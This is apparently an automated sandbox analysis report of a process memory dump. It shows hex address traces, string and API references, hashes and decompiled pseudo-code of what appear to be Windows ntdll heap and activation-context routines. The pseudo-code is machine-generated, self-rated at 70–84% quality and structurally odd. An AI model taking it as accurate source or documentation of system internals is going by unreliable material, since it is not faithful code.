0x00000000
0x00000000
0x6d262e4b
0x6d262e53
0x6d262e5f
0x6d262e5f
0x6d262e67
0x6d262e6d
0x6d262fa9
0x6d262fa9
0x6d262faf
0x6d262fb9
0x6d2ad774
0x6d2ad777
0x00000000
0x6d2ad77d
0x6d2ad77d
0x00000000
0x6d2ad77d
0x6d262fbf
0x6d262fbf
0x6d262fc4
0x00000000
0x6d262fc4
0x6d262e73
0x6d262e73
0x6d262e78
0x00000000
0x6d262e78
0x6d262e55
0x6d262e55
0x6d262e59
0x6d2630b8
0x6d2630bb
0x6d2630c1
0x6d2630d8
0x6d2630da
0x00000000
0x00000000
0x00000000
0x00000000
0x6d2630c3
0x6d2630c6
0x6d2ad75f
0x00000000
0x6d2630cc
0x6d2630cf
0x6d2ad76a
0x6d2630e0
0x6d2630e0
0x6d2630e5
0x6d262e7c
0x6d262e7e
0x6d2ad784
0x6d2ad789
0x6d2ad789
0x00000000
0x6d262e84
0x6d262e88
0x6d262e95
0x6d262e9c
0x6d262fcd
0x6d262fd4
0x00000000
0x6d262fe3
0x6d262fe3
0x6d262fe7
0x6d262feb
0x00000000
0x6d262feb
0x6d262ea2
0x6d262ea2
0x6d262ec2
0x6d262ec6
0x6d262ec8
0x6d262eca
0x6d262ecc
0x6d262ece
0x6d2ad78b
0x6d2ad78d
0x00000000
0x6d2ad793
0x00000000
0x6d2ad793
0x6d262ed4
0x6d262ed4
0x6d262ed4
0x6d262edb
0x6d2ad803
0x6d2ad803
0x00000000
0x6d262ee1
0x6d262ee1
0x6d262ee1
0x6d262ef0
0x6d262ef0
0x6d262ef0
0x6d262efa
0x00000000
0x00000000
0x6d262f00
0x6d262f07
0x6d262f09
0x6d262f0e
0x6d262f0f
0x6d262f10
0x6d262f15
0x6d262f1c
0x6d2630ee
0x6d2630f7
0x6d2630f9
0x6d2630fc
0x6d263102
0x6d26319d
0x6d2631b0
0x6d2631b6
0x6d2631ba
0x6d2631c3
0x6d2631c9
0x6d2631c9
0x6d2631c3
0x6d263102
0x6d26311a
0x6d263140
0x6d263146
0x6d263147
0x6d263148
0x6d263153
0x6d26311c
0x6d26311c
0x6d263120
0x6d26313a
0x00000000
0x00000000
0x00000000
0x00000000
0x6d26313a
0x6d262f22
0x6d262f27
0x6d262f83
0x6d262f83
0x6d262f84
0x6d262f85
0x6d262f94
0x6d262f29
0x6d262f29
0x6d262f32
0x6d262f34
0x6d262f3a
0x6d262f3e
0x6d262f45
0x6d262f49
0x00000000
0x6d262f50
0x6d262f53
0x6d262ff5
0x6d262ff7
0x6d2ad798
0x6d2ad7a0
0x00000000
0x6d2ad7a6
0x6d2ad7a6
0x6d2ad7aa
0x00000000
0x6d2ad7b0
0x6d2ad7b0
0x6d2ad7b3
0x6d2ad7b9
0x6d2ad7e3
0x6d2ad7e5
0x00000000
0x00000000
0x00000000
0x00000000
0x6d2ad7bb
0x6d2ad7be
0x6d2ad7cf
0x6d2ad7dc
0x00000000
0x6d2ad7d1
0x6d2ad7d1
0x6d2ad7d6
0x6d2ad7eb
0x6d2ad7eb
0x6d2ad7f0
0x00000000
0x6d2ad7f0
0x6d2ad7c0
0x6d2ad7c4
0x6d2ad7df
0x6d2ad7df
0x00000000
0x6d2ad7df
0x6d2ad7be
0x6d2ad7b9
0x6d2ad7aa
0x6d262ffd
0x6d262ffd
0x6d263000
0x6d263156
0x6d263158
0x6d263160
0x6d263166
0x6d26316c
0x00000000
0x6d263172
0x6d263172
0x6d263177
0x00000000
0x6d263177
0x6d263006
0x6d263009
0x00000000
0x6d26300f
0x6d26300f
0x6d263013
0x6d26301b
0x6d263021
0x6d263027
0x00000000
0x6d26302d
0x6d26302d
0x6d263032
0x00000000
0x6d263032
0x6d263027
0x6d263009
0x6d263000
0x6d262f59
0x6d262f59
0x6d262f5c
0x6d2ad7f9
0x00000000
0x6d262f62
0x6d262f62
0x6d262f64
0x6d26303b
0x6d26304d
0x6d263054
0x6d263185
0x6d2631df
0x00000000
0x6d26318c
0x6d26318c
0x6d263190
0x00000000
0x6d263190
0x6d26305a
0x6d26305a
0x6d26307a
0x6d26307e
0x6d263080
0x6d263082
0x6d263084
0x6d263086
0x00000000
0x6d26308c
0x6d26308d
0x6d263092
0x00000000
0x6d263092
0x6d263086
0x6d262f6a
0x6d262f6a
0x6d262f6f
0x6d262f71
0x6d263094
0x6d263094
0x6d26309b
0x00000000
0x6d2630a1
0x00000000
0x6d2630a1
0x6d262f77
0x6d262f77
0x6d262f7c
0x6d262f7e
0x6d262f7e
0x00000000
0x6d262f7c
0x6d262f71
0x6d262f64
0x6d262f5c
0x00000000
0x6d262f53
0x6d262f50
0x6d262f27
0x00000000
0x6d262f1c
0x6d2ad807
0x6d2ad807
0x6d2ad812
0x6d2ad817
0x6d2ad81a
0x00000000
0x6d2ad81a
0x6d262edb
0x6d262ece
0x6d262e9c
0x6d2630d5
0x6d2630d5
0x00000000
0x6d2630d5
0x6d2630cf
0x6d2630c6
0x00000000
0x00000000
0x00000000
0x6d262e59
0x00000000
0x6d262f97
0x6d262f97
0x6d262f9a
0x00000000
0x6d262fa0
0x6d262fa3
0x00000000
0x00000000
0x00000000
0x00000000
0x6d262fa3
0x00000000
0x6d262f9a
0x6d262e40
0x6d262dd3
0x6d262ddc
0x6d2ad71a
0x6d2ad71f
0x6d2ad724
0x6d2ad729
0x6d2ad729
0x6d2ad72b
0x6d2ad72d
0x6d2ad732
0x00000000
0x6d262de2
0x6d262de2
0x6d262de2
0x00000000
0x6d262de2
0x6d262ddc
0x6d262dd1
0x6d262dc8
0x6d262dbf
0x6d262db7
0x6d262dab
0x6d262d9c
0x00000000

APIs

DbgPrintEx.1105(00000033,00000000,SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx.,RtlpFindActivationContextSection_CheckParameters,C000000D), ref: 6D2AD72D

Strings

SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 6D2AD758
SsHd, xrefs: 6D262EF4
SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 6D2AD724
RtlpFindActivationContextSection_CheckParameters, xrefs: 6D2AD71F, 6D2AD753
RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section, xrefs: 6D2AD809
Actx , xrefs: 6D2AD76A, 6D2AD7D1
%*&m, xrefs: 6D262DB1, 6D262EE1, 6D262DE2, 6D262F0F

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: %*&m$Actx $RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section$RtlpFindActivationContextSection_CheckParameters$SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx.$SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx.$SsHd
API String ID: 3558298466-2515746777
Opcode ID: c274ccdef412d1d810645b56fbf4dc362cbfe9dade21373e3ceab6f4c35a27fe
Instruction ID: 23aeaf8f336e285ef92a5439031936559ee290fdbb0879cf7348af1f8777e3d8
Opcode Fuzzy Hash: c274ccdef412d1d810645b56fbf4dc362cbfe9dade21373e3ceab6f4c35a27fe
Instruction Fuzzy Hash: 1BE1D1B069834B8FD715CE28C880B6AB7E5FF89315F14462DF865CB290D731D985CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6D26A830, Relevance: 19.6, APIs: 7, Strings: 4, Instructions: 350
COMMONCrypto

Download Yara Rule

C-Code - Quality: 70%

			E6D26A830(intOrPtr __ecx, signed int __edx, signed short _a4) {
				void* _v5;
				signed short _v12;
				intOrPtr _v16;
				signed int _v20;
				signed short _v24;
				signed short _v28;
				signed int _v32;
				signed short _v36;
				signed int _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				signed short* _v52;
				void* __ebx;
				void* __edi;
				void* __ebp;
				signed int _t131;
				signed char _t134;
				signed int _t138;
				char _t141;
				signed short _t142;
				void* _t146;
				signed short _t147;
				intOrPtr* _t149;
				intOrPtr _t156;
				signed int _t167;
				signed int _t168;
				signed short* _t173;
				signed short _t174;
				intOrPtr* _t182;
				signed short _t184;
				intOrPtr* _t187;
				intOrPtr _t197;
				intOrPtr _t206;
				intOrPtr _t210;
				signed short _t211;
				intOrPtr* _t212;
				signed short _t214;
				signed int _t216;
				intOrPtr _t217;
				signed char _t225;
				signed short _t235;
				signed int _t237;
				intOrPtr* _t238;
				signed int _t242;
				unsigned int _t245;
				signed int _t251;
				intOrPtr* _t252;
				signed int _t253;
				intOrPtr* _t255;
				signed int _t256;
				void* _t257;
				void* _t260;

				_t256 = __edx;
				_t206 = __ecx;
				_t235 = _a4;
				_v44 = __ecx;
				_v24 = _t235;
				if(_t235 == 0) {
					L41:
					return _t131;
				}
				_t251 = ( *(__edx + 4) ^  *(__ecx + 0x54)) & 0x0000ffff;
				if(_t251 == 0) {
					__eflags =  *0x6d338748 - 1;
					if( *0x6d338748 >= 1) {
						__eflags =  *(__edx + 2) & 0x00000008;
						if(( *(__edx + 2) & 0x00000008) == 0) {
							_t110 = _t256 + 0xfff; // 0xfe7
							__eflags = (_t110 & 0xfffff000) - __edx;
							if((_t110 & 0xfffff000) != __edx) {
								_t197 =  *[fs:0x30];
								__eflags =  *(_t197 + 0xc);
								if( *(_t197 + 0xc) == 0) {
									_push("HEAP: ");
									E6D24B150();
									_t260 = _t257 + 4;
								} else {
									E6D24B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
									_t260 = _t257 + 8;
								}
								_push("((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock))");
								E6D24B150();
								_t257 = _t260 + 4;
								__eflags =  *0x6d337bc8;
								if(__eflags == 0) {
									E6D302073(_t206, 1, _t251, __eflags);
								}
								_t235 = _v24;
							}
						}
					}
				}
				_t134 =  *((intOrPtr*)(_t256 + 6));
				if(_t134 == 0) {
					_t210 = _t206;
					_v48 = _t206;
				} else {
					_t210 = (_t256 & 0xffff0000) - ((_t134 & 0x000000ff) << 0x10) + 0x10000;
					_v48 = _t210;
				}
				_v5 =  *(_t256 + 2);
				do {
					if(_t235 > 0xfe00) {
						_v12 = 0xfe00;
						__eflags = _t235 - 0xfe01;
						if(_t235 == 0xfe01) {
							_v12 = 0xfdf0;
						}
						_t138 = 0;
					} else {
						_v12 = _t235 & 0x0000ffff;
						_t138 = _v5;
					}
					 *(_t256 + 2) = _t138;
					 *(_t256 + 4) =  *(_t206 + 0x54) ^ _t251;
					_t236 =  *((intOrPtr*)(_t210 + 0x18));
					if( *((intOrPtr*)(_t210 + 0x18)) == _t210) {
						_t141 = 0;
					} else {
						_t141 = (_t256 - _t210 >> 0x10) + 1;
						_v40 = _t141;
						if(_t141 >= 0xfe) {
							_push(_t210);
							E6D30A80D(_t236, _t256, _t210, 0);
							_t141 = _v40;
						}
					}
					 *(_t256 + 2) =  *(_t256 + 2) & 0x000000f0;
					 *((char*)(_t256 + 6)) = _t141;
					_t142 = _v12;
					 *_t256 = _t142;
					 *(_t256 + 3) = 0;
					_t211 = _t142 & 0x0000ffff;
					 *((char*)(_t256 + 7)) = 0;
					_v20 = _t211;
					if(( *(_t206 + 0x40) & 0x00000040) != 0) {
						_t119 = _t256 + 0x10; // -8
						E6D29D5E0(_t119, _t211 * 8 - 0x10, 0xfeeefeee);
						 *(_t256 + 2) =  *(_t256 + 2) | 0x00000004;
						_t211 = _v20;
					}
					_t252 =  *((intOrPtr*)(_t206 + 0xb4));
					if(_t252 == 0) {
						L56:
						_t212 =  *((intOrPtr*)(_t206 + 0xc0));
						_t146 = _t206 + 0xc0;
						goto L19;
					} else {
						if(_t211 <  *((intOrPtr*)(_t252 + 4))) {
							L15:
							_t185 = _t211;
							goto L17;
						} else {
							while(1) {
								_t187 =  *_t252;
								if(_t187 == 0) {
									_t185 =  *((intOrPtr*)(_t252 + 4)) - 1;
									__eflags =  *((intOrPtr*)(_t252 + 4)) - 1;
									goto L17;
								}
								_t252 = _t187;
								if(_t211 >=  *((intOrPtr*)(_t252 + 4))) {
									continue;
								}
								goto L15;
							}
							while(1) {
								L17:
								_t212 = E6D26AB40(_t206, _t252, 1, _t185, _t211);
								if(_t212 != 0) {
									_t146 = _t206 + 0xc0;
									break;
								}
								_t252 =  *_t252;
								_t211 = _v20;
								_t185 =  *(_t252 + 0x14);
							}
							L19:
							if(_t146 != _t212) {
								_t237 =  *(_t206 + 0x4c);
								_t253 = _v20;
								while(1) {
									__eflags = _t237;
									if(_t237 == 0) {
										_t147 =  *(_t212 - 8) & 0x0000ffff;
									} else {
										_t184 =  *(_t212 - 8);
										_t237 =  *(_t206 + 0x4c);
										__eflags = _t184 & _t237;
										if((_t184 & _t237) != 0) {
											_t184 = _t184 ^  *(_t206 + 0x50);
											__eflags = _t184;
										}
										_t147 = _t184 & 0x0000ffff;
									}
									__eflags = _t253 - (_t147 & 0x0000ffff);
									if(_t253 <= (_t147 & 0x0000ffff)) {
										goto L20;
									}
									_t212 =  *_t212;
									__eflags = _t206 + 0xc0 - _t212;
									if(_t206 + 0xc0 != _t212) {
										continue;
									} else {
										goto L20;
									}
									goto L56;
								}
							}
							L20:
							_t149 =  *((intOrPtr*)(_t212 + 4));
							_t33 = _t256 + 8; // -16
							_t238 = _t33;
							_t254 =  *_t149;
							if( *_t149 != _t212) {
								_push(_t212);
								E6D30A80D(0, _t212, 0, _t254);
							} else {
								 *_t238 = _t212;
								 *((intOrPtr*)(_t238 + 4)) = _t149;
								 *_t149 = _t238;
								 *((intOrPtr*)(_t212 + 4)) = _t238;
							}
							 *((intOrPtr*)(_t206 + 0x74)) =  *((intOrPtr*)(_t206 + 0x74)) + ( *_t256 & 0x0000ffff);
							_t255 =  *((intOrPtr*)(_t206 + 0xb4));
							if(_t255 == 0) {
								L36:
								if( *(_t206 + 0x4c) != 0) {
									 *(_t256 + 3) =  *(_t256 + 1) ^  *(_t256 + 2) ^  *_t256;
									 *_t256 =  *_t256 ^  *(_t206 + 0x50);
								}
								_t210 = _v48;
								_t251 = _v12 & 0x0000ffff;
								_t131 = _v20;
								_t235 = _v24 - _t131;
								_v24 = _t235;
								_t256 = _t256 + _t131 * 8;
								if(_t256 >=  *((intOrPtr*)(_t210 + 0x28))) {
									goto L41;
								} else {
									goto L39;
								}
							} else {
								_t216 =  *_t256 & 0x0000ffff;
								_v28 = _t216;
								if(_t216 <  *((intOrPtr*)(_t255 + 4))) {
									L28:
									_t242 = _t216 -  *((intOrPtr*)(_t255 + 0x14));
									_v32 = _t242;
									if( *((intOrPtr*)(_t255 + 8)) != 0) {
										_t167 = _t242 + _t242;
									} else {
										_t167 = _t242;
									}
									 *((intOrPtr*)(_t255 + 0xc)) =  *((intOrPtr*)(_t255 + 0xc)) + 1;
									_t168 = _t167 << 2;
									_v40 = _t168;
									_t206 = _v44;
									_v16 =  *((intOrPtr*)(_t168 +  *((intOrPtr*)(_t255 + 0x20))));
									if(_t216 ==  *((intOrPtr*)(_t255 + 4)) - 1) {
										 *((intOrPtr*)(_t255 + 0x10)) =  *((intOrPtr*)(_t255 + 0x10)) + 1;
									}
									_t217 = _v16;
									if(_t217 != 0) {
										_t173 = _t217 - 8;
										_v52 = _t173;
										_t174 =  *_t173;
										__eflags =  *(_t206 + 0x4c);
										if( *(_t206 + 0x4c) != 0) {
											_t245 =  *(_t206 + 0x50) ^ _t174;
											_v36 = _t245;
											_t225 = _t245 >> 0x00000010 ^ _t245 >> 0x00000008 ^ _t245;
											__eflags = _t245 >> 0x18 - _t225;
											if(_t245 >> 0x18 != _t225) {
												_push(_t225);
												E6D30A80D(_t206, _v52, 0, 0);
											}
											_t174 = _v36;
											_t217 = _v16;
											_t242 = _v32;
										}
										_v28 = _v28 - (_t174 & 0x0000ffff);
										__eflags = _v28;
										if(_v28 > 0) {
											goto L34;
										} else {
											goto L33;
										}
									} else {
										L33:
										_t58 = _t256 + 8; // -16
										 *((intOrPtr*)(_v40 +  *((intOrPtr*)(_t255 + 0x20)))) = _t58;
										_t206 = _v44;
										_t217 = _v16;
										L34:
										if(_t217 == 0) {
											asm("bts eax, edx");
										}
										goto L36;
									}
								} else {
									goto L24;
								}
								while(1) {
									L24:
									_t182 =  *_t255;
									if(_t182 == 0) {
										_t216 =  *((intOrPtr*)(_t255 + 4)) - 1;
										__eflags = _t216;
										goto L28;
									}
									_t255 = _t182;
									if(_t216 >=  *((intOrPtr*)(_t255 + 4))) {
										continue;
									} else {
										goto L28;
									}
								}
								goto L28;
							}
						}
					}
					L39:
				} while (_t235 != 0);
				_t214 = _v12;
				_t131 =  *(_t206 + 0x54) ^ _t214;
				 *(_t256 + 4) = _t131;
				if(_t214 == 0) {
					__eflags =  *0x6d338748 - 1;
					if( *0x6d338748 >= 1) {
						_t131 = _t256 + 0x00000fff & 0xfffff000;
						__eflags = _t131 - _t256;
						if(_t131 != _t256) {
							_t156 =  *[fs:0x30];
							__eflags =  *(_t156 + 0xc);
							if( *(_t156 + 0xc) == 0) {
								_push("HEAP: ");
								E6D24B150();
							} else {
								E6D24B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push("ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock");
							_t131 = E6D24B150();
							__eflags =  *0x6d337bc8;
							if(__eflags == 0) {
								_t131 = E6D302073(_t206, 1, _t251, __eflags);
							}
						}
					}
				}
				goto L41;
			}

0x6d26a83a
0x6d26a83c
0x6d26a83e
0x6d26a841
0x6d26a844
0x6d26a84a
0x6d26aa53
0x6d26aa59
0x6d26aa59
0x6d26a858
0x6d26a85e
0x6d26aaf5
0x6d26aafc
0x6d2b229e
0x6d2b22a2
0x6d2b22a8
0x6d2b22b3
0x6d2b22b5
0x6d2b22bb
0x6d2b22c1
0x6d2b22c5
0x6d2b22e6
0x6d2b22eb
0x6d2b22f0
0x6d2b22c7
0x6d2b22dc
0x6d2b22e1
0x6d2b22e1
0x6d2b22f3
0x6d2b22f8
0x6d2b22fd
0x6d2b2300
0x6d2b2307
0x6d2b230e
0x6d2b230e
0x6d2b2313
0x6d2b2313
0x6d2b22b5
0x6d2b22a2
0x6d26aafc
0x6d26a864
0x6d26a869
0x6d26aa5c
0x6d26aa5e
0x6d26a86f
0x6d26a87f
0x6d26a885
0x6d26a885
0x6d26a88b
0x6d26a890
0x6d26a896
0x6d26ab0c
0x6d26ab0f
0x6d26ab15
0x6d2b2320
0x6d2b2320
0x6d26ab1b
0x6d26a89c
0x6d26a89f
0x6d26a8a2
0x6d26a8a2
0x6d26a8a5
0x6d26a8af
0x6d26a8b3
0x6d26a8b8
0x6d26aa66
0x6d26a8be
0x6d26a8c5
0x6d26a8c6
0x6d26a8ce
0x6d2b2328
0x6d2b2332
0x6d2b2337
0x6d2b2337
0x6d26a8ce
0x6d26a8d4
0x6d26a8d8
0x6d26a8db
0x6d26a8de
0x6d26a8e1
0x6d26a8e5
0x6d26a8e8
0x6d26a8f0
0x6d26a8f3
0x6d2b234c
0x6d2b2350
0x6d2b2355
0x6d2b2359
0x6d2b2359
0x6d26a8f9
0x6d26a901
0x6d26aae4
0x6d26aae4
0x6d26aaea
0x00000000
0x6d26a907
0x6d26a90a
0x6d26a91d
0x6d26a91d
0x00000000
0x6d26a910
0x6d26a910
0x6d26a910
0x6d26a914
0x6d26a924
0x6d26a924
0x6d26a924
0x6d26a924
0x6d26a916
0x6d26a91b
0x00000000
0x00000000
0x00000000
0x6d26a91b
0x6d26a925
0x6d26a925
0x6d26a932
0x6d26a936
0x6d26a93c
0x6d26a93c
0x6d26a93c
0x6d26ab22
0x6d26ab24
0x6d26ab27
0x6d26ab27
0x6d26a942
0x6d26a944
0x6d26aaba
0x6d26aabd
0x6d26aac0
0x6d26aac0
0x6d26aac2
0x6d26ab2f
0x6d26aac4
0x6d26aac4
0x6d26aac7
0x6d26aaca
0x6d26aacc
0x6d26aace
0x6d26aace
0x6d26aace
0x6d26aad1
0x6d26aad1
0x6d26aad7
0x6d26aad9
0x00000000
0x00000000
0x6d2b2361
0x6d2b2369
0x6d2b236b
0x00000000
0x6d2b2371
0x00000000
0x6d2b2371
0x00000000
0x6d2b236b
0x6d26aac0
0x6d26a94a
0x6d26a94a
0x6d26a94d
0x6d26a94d
0x6d26a950
0x6d26a954
0x6d2b2376
0x6d2b2380
0x6d26a95a
0x6d26a95a
0x6d26a95c
0x6d26a95f
0x6d26a961
0x6d26a961
0x6d26a967
0x6d26a96a
0x6d26a972
0x6d26aa02
0x6d26aa06
0x6d26aa10
0x6d26aa16
0x6d26aa16
0x6d26aa1b
0x6d26aa21
0x6d26aa24
0x6d26aa27
0x6d26aa29
0x6d26aa2c
0x6d26aa32
0x00000000
0x00000000
0x00000000
0x00000000
0x6d26a978
0x6d26a978
0x6d26a97b
0x6d26a981
0x6d26a996
0x6d26a998
0x6d26a99f
0x6d26a9a2
0x6d2b238a
0x6d26a9a8
0x6d26a9a8
0x6d26a9a8
0x6d26a9aa
0x6d26a9ad
0x6d26a9b0
0x6d26a9bb
0x6d26a9be
0x6d26a9c7
0x6d26a9c9
0x6d26a9c9
0x6d26a9cc
0x6d26a9d1
0x6d26aa6d
0x6d26aa70
0x6d26aa73
0x6d26aa75
0x6d26aa79
0x6d26aa7e
0x6d26aa82
0x6d26aa8f
0x6d26aa94
0x6d26aa96
0x6d2b2392
0x6d2b23a1
0x6d2b23a1
0x6d26aa9c
0x6d26aa9f
0x6d26aaa2
0x6d26aaa2
0x6d26aaa8
0x6d26aaab
0x6d26aaaf
0x00000000
0x6d26aab5
0x00000000
0x6d26aab5
0x6d26a9d7
0x6d26a9d7
0x6d26a9da
0x6d26a9e0
0x6d26a9e3
0x6d26a9e6
0x6d26a9e9
0x6d26a9eb
0x6d26a9fd
0x6d26a9fd
0x00000000
0x6d26a9eb
0x00000000
0x00000000
0x00000000
0x6d26a983
0x6d26a983
0x6d26a983
0x6d26a987
0x6d26a995
0x6d26a995
0x6d26a995
0x6d26a995
0x6d26a989
0x6d26a98e
0x00000000
0x6d26a990
0x00000000
0x6d26a990
0x6d26a98e
0x00000000
0x6d26a983
0x6d26a972
0x6d26a90a
0x6d26aa34
0x6d26aa34
0x6d26aa40
0x6d26aa43
0x6d26aa46
0x6d26aa4d
0x6d2b23ab
0x6d2b23b2
0x6d2b23be
0x6d2b23c3
0x6d2b23c5
0x6d2b23cb
0x6d2b23d1
0x6d2b23d5
0x6d2b23f6
0x6d2b23fb
0x6d2b23d7
0x6d2b23ec
0x6d2b23f1
0x6d2b2403
0x6d2b2408
0x6d2b2410
0x6d2b2417
0x6d2b2422
0x6d2b2422
0x6d2b2417
0x6d2b23c5
0x6d2b23b2
0x00000000

APIs

DbgPrint.1105(HEAP[%wZ]: ,-0000002C,-00000018,?,?,?,?,?,?,?,?,?,6D26A3D0,?,?,-00000018), ref: 6D2B22DC
DbgPrint.1105(((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock)),?,?,?,?,?,?,?,?,6D26A3D0,?,?,-00000018,?), ref: 6D2B22F8

Strings

HEAP[%wZ]: , xrefs: 6D2B22D7, 6D2B23E7
ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock, xrefs: 6D2B2403
HEAP: , xrefs: 6D2B22E6, 6D2B23F6
((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock)), xrefs: 6D2B22F3

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: ((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock))$HEAP: $HEAP[%wZ]: $ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock
API String ID: 3558298466-1657114761
Opcode ID: 5c2ca1e866322fb8b2d9cc9bf3964435127f37bf782bdbc1c4331ebf4b0645b3
Instruction ID: 3a0bab4593f9f92357235c6fa1af2adb8077ea914e1cc5b01e9e1e70b770d2b4
Opcode Fuzzy Hash: 5c2ca1e866322fb8b2d9cc9bf3964435127f37bf782bdbc1c4331ebf4b0645b3
Instruction Fuzzy Hash: 26D1B070A9439A8FDB15CF68C590FAAB7F1FF49304F1181A9E8999B345D730A881CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6D27C707, Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 251
memoryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E6D27C707(signed char __ecx, void __edx, intOrPtr _a4, signed int* _a8, signed int* _a12, void** _a16) {
				signed int _v8;
				char _v532;
				void* _v536;
				signed int _v540;
				void* _v544;
				short _v546;
				void* _v548;
				long _v552;
				signed int* _v556;
				signed int* _v560;
				void** _v564;
				void* _v568;
				void* __ebx;
				void* __edi;
				void* __esi;
				short _t97;
				intOrPtr _t98;
				void _t105;
				signed int _t106;
				void** _t108;
				signed int _t109;
				void* _t114;
				void _t120;
				intOrPtr _t121;
				void* _t122;
				void* _t129;
				void* _t130;
				void* _t132;
				signed short _t140;
				void* _t143;
				void* _t148;
				int _t150;
				signed int _t155;

				_t142 = __edx;
				_v8 =  *0x6d33d360 ^ _t155;
				_v556 = _a12;
				_t129 =  &_v532;
				_v560 = _a8;
				_t148 = 0;
				_v564 = _a16;
				_t143 = 0;
				_v540 = __ecx;
				_t132 = 0;
				_v532 = 0;
				_v548 = _v548 & 0;
				_v548 = 0;
				_t97 = 2;
				_v546 = _t97;
				_t98 = _a4;
				_v536 = 0;
				_v552 = 0;
				_v544 = _t129;
				if(_t98 == 0x6d22127c) {
					E6D2D5720(0x33, 0, "SXS: %s() passed the empty activation context\n", "RtlpGetActivationContextDataStorageMapAndRosterHeader");
					_t149 = 0xc000000d;
					L21:
					return E6D28B640(_t149, _t129, _v8 ^ _t155, _t142, _t143, _t149);
				}
				if(_v560 != 0) {
					 *_v560 =  *_v560 & 0;
					_t148 = 0;
				}
				if(_v556 != _t132) {
					 *_v556 =  *_v556 & _t132;
					_t148 = _t132;
				}
				if(_v564 != _t132) {
					 *_v564 =  *_v564 & _t143;
					_t132 = _t143;
				}
				if((_v540 & 0xfffffffc) != 0 || _t142 == 0 || _v560 == _t143 || _v556 == _t143) {
					_push(_v556);
					_push(_v560);
					_push(_t142);
					_push(_v540);
					E6D2D5720(0x33, 0, "SXS: %s() bad parameters:\nSXS:    Flags                : 0x%lx\nSXS:    Peb                  : %p\nSXS:    ActivationContextData: %p\nSXS:    AssemblyStorageMap   : %p\n", "RtlpGetActivationContextDataStorageMapAndRosterHeader");
					_t149 = 0xc000000d;
					goto L19;
				} else {
					if(_t98 == 0) {
						L22:
						if(_t98 == 0xfffffffc || (_v540 & 0x00000002) != 0) {
							L24:
							_t43 = _t142 + 0x200; // 0x230
							_t132 = _t43;
							_t105 =  *_t132;
							_t44 = _t142 + 0x204; // 0x234
							_t148 = _t44;
							_v536 = _t132;
							_v552 = _t148;
							if(_t105 == 0) {
								goto L33;
							}
							_t143 =  *((intOrPtr*)(_t105 + 0x18)) + _t105;
							goto L26;
						} else {
							if(_t98 != 0) {
								if((_v540 & 0x00000001) == 0) {
									L26:
									_t142 = 0;
									if( *_t132 == 0 ||  *_t148 != 0) {
										L33:
										_t106 =  *_t148;
										L16:
										_t142 = _v556;
										 *_v556 = _t106;
										 *_v560 =  *_t132;
										_t108 = _v564;
										if(_t108 != 0) {
											 *_t108 = _t143;
										}
										_t149 = 0;
										goto L19;
									} else {
										_t109 =  *(_t143 + 8);
										if(_t109 > 0x3ffffffc) {
											_t149 = 0xc0000095;
											L19:
											if(_t129 != 0 && _t129 !=  &_v532) {
												RtlFreeUnicodeString( &_v548);
											}
											goto L21;
										}
										_t130 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 0, 0xc + _t109 * 4);
										if(_t130 == 0) {
											_t149 = 0xc0000017;
											L51:
											_t129 = _v544;
											goto L19;
										}
										_t142 =  *(_t143 + 8);
										_t53 = _t130 + 0xc; // 0xc
										_t114 = E6D27D4B0(_t130,  *(_t143 + 8), _t53);
										_t149 = _t114;
										if(_t114 < 0) {
											RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t130);
											goto L51;
										}
										_t148 = _v552;
										asm("lock cmpxchg [esi], ecx");
										if(0 != 0) {
											E6D2470C0(_t130);
											RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t130);
										}
										_t132 = _v536;
										_t129 = _v544;
										goto L33;
									}
								}
							}
							_t57 = _t142 + 0x1f8; // 0x228
